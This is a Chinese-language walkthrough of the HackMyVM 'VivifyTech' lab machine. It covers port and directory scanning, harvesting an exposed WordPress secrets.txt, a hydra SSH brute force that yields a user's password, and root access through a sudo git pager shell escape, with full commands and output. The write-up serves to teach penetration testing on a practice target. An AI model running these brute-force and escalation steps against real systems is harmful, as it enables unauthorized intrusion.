【hackmyvm】vivifytech靶机

embedded/2024/10/18 12:55:12/

渗透思路

    • 信息收集
    • 端口扫描
    • 端口服务信息
    • 目录扫描
    • 爆破hydra--ssh
    • git提权

信息收集

在这里插入图片描述

┌──(kali㉿kali)-[~]
└─$ fping -ag 192.168.9.0/24 2>/dev/null
192.168.9.119    	--主机
192.168.9.164		--靶机个人习惯，也方便后续操作，将IP地址赋值给一个变量Iip
┌──(kali㉿kali)-[~]
└─$ ip=192.168.9.164  ┌──(kali㉿kali)-[~]
└─$ echo $ip                     
192.168.9.164

端口扫描

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 192.168.9.164 --min-rate 10000
[sudo] kali 的密码：
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-29 05:27 EDT
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 192.168.9.163, 16) => Operation not permitted
Offending packet: TCP 192.168.9.119:38222 > 192.168.9.163:64573 S ttl=58 id=33393 iplen=44  seq=1503250300 win=1024 <mss 1460>
Nmap scan report for 192.168.9.163
Host is up (0.085s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
3306/tcp  open  mysql
33060/tcp open  mysqlx
MAC Address: 08:00:27:EC:74:96 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 66.54 seconds

开放3306:masql数据库的端口和33060:mysqlx不知道33060上网了解一下

MySQL X是一种用于MySQL数据库的新协议，它支持文档存储和异步操作，通常用于实现更高级的数据库功能

在这里插入图片描述

端口服务信息

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sV -O -p-  $ip 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-29 05:48 EDT
Nmap scan report for 192.168.9.164
Host is up (0.010s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.57 ((Debian))
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.93%I=7%D=4/29%Time=662F6CE5%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\
SF:x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20me
SF:ssage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAN
SF:Desk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\
SF:0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRP
SF:C,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid
SF:\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10
SF:\x88'\x1a\x0fInvalid\x20message\"\x05HY000");
MAC Address: 08:00:27:EC:74:96 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.86 seconds

80端口如图，扫目录
在这里插入图片描述

目录扫描

┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://192.168.9.164 -x 500,404_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /home/kali/reports/http_192.168.9.164/_24-04-29_05-53-24.txtTarget: http://192.168.9.164/[05:53:24] Starting: 
[05:53:27] 403 -  278B  - /.ht_wsr.txt                                      
[05:53:27] 403 -  278B  - /.htaccess.orig                                   
[05:53:27] 403 -  278B  - /.htaccess.bak1
[05:53:27] 403 -  278B  - /.htaccess.save
[05:53:27] 403 -  278B  - /.htaccess.sample                                 
[05:53:27] 403 -  278B  - /.htaccess_sc
[05:53:27] 403 -  278B  - /.htaccessOLD
[05:53:27] 403 -  278B  - /.htm
[05:53:27] 403 -  278B  - /.htaccess_orig                                   
[05:53:27] 403 -  278B  - /.htaccessOLD2                                    
[05:53:27] 403 -  278B  - /.htaccess_extra                                  
[05:53:27] 403 -  278B  - /.htaccessBAK                                     
[05:53:27] 403 -  278B  - /.html
[05:53:27] 403 -  278B  - /.htpasswds                                       
[05:53:27] 403 -  278B  - /.httr-oauth                                      
[05:53:28] 403 -  278B  - /.htpasswd_test                                   
[05:53:29] 403 -  278B  - /.php                                             
[05:54:28] 403 -  278B  - /server-status                                    
[05:54:28] 403 -  278B  - /server-status/                                   
[05:54:49] 200 -    2KB - /wordpress/wp-login.php                            
[05:54:50] 200 -   14KB - /wordpress/
Task Completed

扫到一个wordpress目录，还有登录页面
在这里插入图片描述
在这里插入图片描述
一看就是wordpress的cms，在扫描一下

┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://192.168.9.164/wordpress/                              
[sudo] kali 的密码：_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /home/kali/reports/http_192.168.9.164/_wordpress__24-04-29_06-17-53.txtTarget: http://192.168.9.164/
。。。                         
[06:18:33] 301 -    0B  - /wordpress/index.php  ->  http://192.168.9.164/wordpress/
[06:18:34] 404 -   55KB - /wordpress/index.php/login/                       
[06:18:37] 200 -    7KB - /wordpress/license.txt                            
[06:18:54] 200 -    3KB - /wordpress/readme.html                            
[06:19:16] 301 -  327B  - /wordpress/wp-admin  ->  http://192.168.9.164/wordpress/wp-admin/
[06:19:16] 400 -    1B  - /wordpress/wp-admin/admin-ajax.php                
[06:19:16] 409 -    3KB - /wordpress/wp-admin/setup-config.php              
[06:19:16] 200 -    0B  - /wordpress/wp-config.php                          
[06:19:16] 200 -  498B  - /wordpress/wp-admin/install.php                   
[06:19:16] 302 -    0B  - /wordpress/wp-admin/  ->  http://192.168.9.164/wordpress/wp-login.php?redirect_to=http%3A%2F%2F192.168.9.164%2Fwordpress%2Fwp-admin%2F&reauth=1
[06:19:16] 301 -  329B  - /wordpress/wp-content  ->  http://192.168.9.164/wordpress/wp-content/
[06:19:16] 200 -    0B  - /wordpress/wp-content/                            
[06:19:16] 200 -   84B  - /wordpress/wp-content/plugins/akismet/akismet.php 
[06:19:16] 500 -    0B  - /wordpress/wp-content/plugins/hello.php           
[06:19:16] 200 -  422B  - /wordpress/wp-content/upgrade/                    
[06:19:16] 200 -  483B  - /wordpress/wp-content/uploads/
[06:19:17] 301 -  330B  - /wordpress/wp-includes  ->  http://192.168.9.164/wordpress/wp-includes/
[06:19:17] 200 -    5KB - /wordpress/wp-includes/                           
[06:19:17] 200 -    0B  - /wordpress/wp-cron.php                            
[06:19:17] 200 -    2KB - /wordpress/wp-login.php
[06:19:17] 200 -    0B  - /wordpress/wp-includes/rss-functions.php          
[06:19:17] 302 -    0B  - /wordpress/wp-signup.php  ->  http://192.168.9.164/wordpress/wp-login.php?action=register
[06:19:17] 405 -   42B  - /wordpress/xmlrpc.php

发现很多的200，一个一个的访问

在 http://192.168.9.164/wordpress/wp-includes/中发现目录遍历
在这里插入图片描述

在所有的.php文件中要么时空白页面被解析，要么不能访问，终于找到一个
http://192.168.9.164/wordpress/wp-includes/secrets.txt，文本文件，应该是用户名的密码，但是user在哪，不知道
在这里插入图片描述
看了老外的文章，找到了user用户。。。。英文不好一大冰，每每遇到English，就会自动跳过
在这里插入图片描述

爆破hydra–ssh

先下载密码
┌──(kali㉿kali)-[~]
└─$ wget http://192.168.9.164/wordpress/wp-includes/secrets.txt
--2024-04-29 06:46:52--  http://192.168.9.164/wordpress/wp-includes/secrets.txt
正在连接 192.168.9.164:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：439 [text/plain]
正在保存至: “secrets.txt”secrets.txt                                                            100%[=========================================================================================================================================================================>]     439  --.-KB/s  用时 0s      2024-04-29 06:46:52 (14.1 MB/s) - 已保存 “secrets.txt” [439/439])

创建用户列表

sarah
mark
emily
jake
alex

┌──(kali㉿kali)-[~]
└─$ sudo hydra -L user.txt -P secrets.txt $ip ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-29 06:53:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 240 login tries (l:5/p:48), ~15 tries per task
[DATA] attacking ssh://192.168.9.164:22/
[22][ssh] host: 192.168.9.164   login: sarah   password: bohicon
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-29 06:54:28

得到账号密码sarah ：bohicon
成功登录

┌──(kali㉿kali)-[~]
└─$ ssh sarah@$ip                                
The authenticity of host '192.168.9.164 (192.168.9.164)' can't be established.
ED25519 key fingerprint is SHA256:i4eLII3uzJGiSMrTFLLAnrihC0r7/y6uuO7YMmGF7Rs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.164' (ED25519) to the list of known hosts.
sarah@192.168.9.164's password: 
Linux VivifyTech 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64
######################################## 	Welcome to VivifyTech !      ## 	The place to be :)	     #
#######################################
Last login: Tue Dec  5 17:54:16 2023 from 192.168.177.129
sarah@VivifyTech:~$ sudo -l
[sudo] password for sarah: 
Sorry, user sarah may not run sudo on VivifyTech.
sarah@VivifyTech:~$ whoami
sarah
sarah@VivifyTech:~$ ls -al
total 32
drwx------ 4 sarah sarah 4096 Dec  5 17:53 .
drwxr-xr-x 6 root  root  4096 Dec  5 16:00 ..
-rw------- 1 sarah sarah    0 Dec  5 17:53 .bash_history
-rw-r--r-- 1 sarah sarah  245 Dec  5 17:33 .bash_logout
-rw-r--r-- 1 sarah sarah 3565 Dec  5 17:48 .bashrc
-rw------- 1 sarah sarah    0 Dec  5 17:49 .history
drwxr-xr-x 3 sarah sarah 4096 Dec  5 16:19 .local
drwxr-xr-x 2 sarah sarah 4096 Dec  5 16:19 .private
-rw-r--r-- 1 sarah sarah  807 Dec  5 15:57 .profile
-rw-r--r-- 1 sarah sarah   27 Dec  5 16:22 user.txt

在这里插入图片描述转到gbodja发现是git提权
在这里插入图片描述

git提权

在这里插入图片描述

sudo git -p help config
!/bin/bash

root@VivifyTech:/home/sarah/.private# id
uid=0(root) gid=0(root) groups=0(root)
root@VivifyTech:/home/sarah/.private# cd /root
root@VivifyTech:~# ls
root.txt
root@VivifyTech:~# cat root.txt
HMV{Y4NV!7Ch3N1N_Y0u_4r3_7h3_R007_8672}

在这里插入图片描述


http://www.ppmy.cn/embedded/24034.html

相关文章

Halcon如何制作标定板的关键点

Halcon如何制作标定板的关键点

前面用下面算子生成文件和PS文件&#xff0c;我就不说了&#xff0c;太多人说了 gen_caltab(7,7,0.0125,0.5,caltab_120mm.descr,120_120.ps) 生成之后&#xff0c;大部分人.ps文件是用PhotoShop打开&#xff0c;然后去打印&#xff0c;再做后续的标定等工序&#xff0c;但是打…
阅读更多...
设计模式(四)、策略模式

设计模式(四)、策略模式

介绍 策略模式定义了一系列算法或策略&#xff0c;并将每个算法封装在独立的类中&#xff0c;使得它们可以互相替换。通过使用策略模式&#xff0c;可以在运行时根据需要选择不同的算法&#xff0c;而不需要修改客户端代码。 策略模式通过将算法与使用算法的代码解耦&#xf…
阅读更多...
SpringBoot整合Mybatis实现多数据源配置

SpringBoot整合Mybatis实现多数据源配置

文章目录 I Mybatis1.1 数据库连接相关配置1.2 定义读取文件名1.3 为单个SqlSession动态设置隔离级别1.4 mybatis-plus代码生成器II pagehelper分页2.1 pagehelper配置2.2 使用方法III mybatis-plus多数据源配置IV 数据库连接池4.1 Druid的属性配置4.2 监控配置4.3 展示Druid的…
阅读更多...
【算法刷题 | 贪心算法08】4.29（划分字母区间、合并区间）

【算法刷题 | 贪心算法08】4.29（划分字母区间、合并区间）

文章目录 14.划分字母区间14.1题目14.2解法&#xff1a;贪心14.2.1贪心思路14.2.2代码实现 15.合并区间15.1题目15.2解法&#xff1a;贪心15.2.1贪心思路15.2.2代码实现 14.划分字母区间 14.1题目 给你一个字符串 s 。我们要把这个字符串划分为尽可能多的片段&#xff0c;同一…
阅读更多...
从 MySQL 到 ClickHouse 实时数据同步 —— Debezium + Kafka 表引擎

从 MySQL 到 ClickHouse 实时数据同步 —— Debezium + Kafka 表引擎

目录 一、总体架构 二、安装配置 MySQL 主从复制 三、安装配置 ClickHouse 集群 四、安装 JDK 五、安装配置 Zookeeper 集群 六、安装配置 Kafaka 集群 七、安装配置 Debezium-Connector-MySQL 插件 1. 创建插件目录 2. 解压文件到插件目录 3. 配置 Kafka Connector …
阅读更多...
LabVIEW专栏七、队列

LabVIEW专栏七、队列

目录 一、队列范例二、命令簇三、队列应用1.1、并行循环队列1.2、命名队列和匿名队列1.2.1、命名队列1.2.2、匿名队列 1.3、长度为1的队列 队列是一种特殊的线性表&#xff0c;就是队列里的元素都是按照顺序进出。 队列的数据元素又称为队列元素。在队列中插入一个队列元素称为…
阅读更多...
Android system — 链接器命名空间共享库配置方法（Android 11后）

Android system — 链接器命名空间共享库配置方法（Android 11后）

Android system — 链接器命名空间共享库配置方法 1. 应用进程1.1 应用进程类加载器的命名空间初始化1.1.1 OpenNativeLibrary1.1.2 LibraryNamespaces::Create 1.2 配置共享库位置 2. native进程2.1 native 命名空间配置初始化2.1.1 android_namespace_t::is_accessible2.1.2 …
阅读更多...
WebStack 导航主题优化版

WebStack 导航主题优化版

主题下载地址&#xff1a;WebStack 导航主题优化版.zip 修复记录&#xff1a; 1、修复已知BUG 2、修复手机版兼容问题 3、修复打开速度&#xff0c;原版打开速度太慢 4、优化页面代码&#xff0c;删除冗杂多余的CSS JS代码 环境要求 WordPress 4.4WordPress 伪静态PHP 5.…
阅读更多...
最新文章

Copyright @ 2022~2023